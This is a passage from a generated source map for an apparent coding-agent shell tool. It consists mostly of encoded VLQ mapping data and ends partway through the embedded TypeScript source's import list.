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","sourcesContent":["import { constants } from \"node:fs\";\nimport { access as fsAccess } from \"node:fs/promises\";\nimport { Container, Text, truncateToWidth } from \"@earendil-works/pi-tui\";\nimport { type AgentTool, type AgentToolResult, ToolExecutionError } from \"apex-code-agent-core\";\nimport { spawn } from \"child_process\";\nimport { type Static, Type } from \"typebox\";\nimport { keyHint } from \"../../modes/interactive/components/keybinding-hints.ts\";\nimport { truncateToVisualLines } from \"../../modes/interactive/components/visual-truncate.ts\";\nimport { theme } from 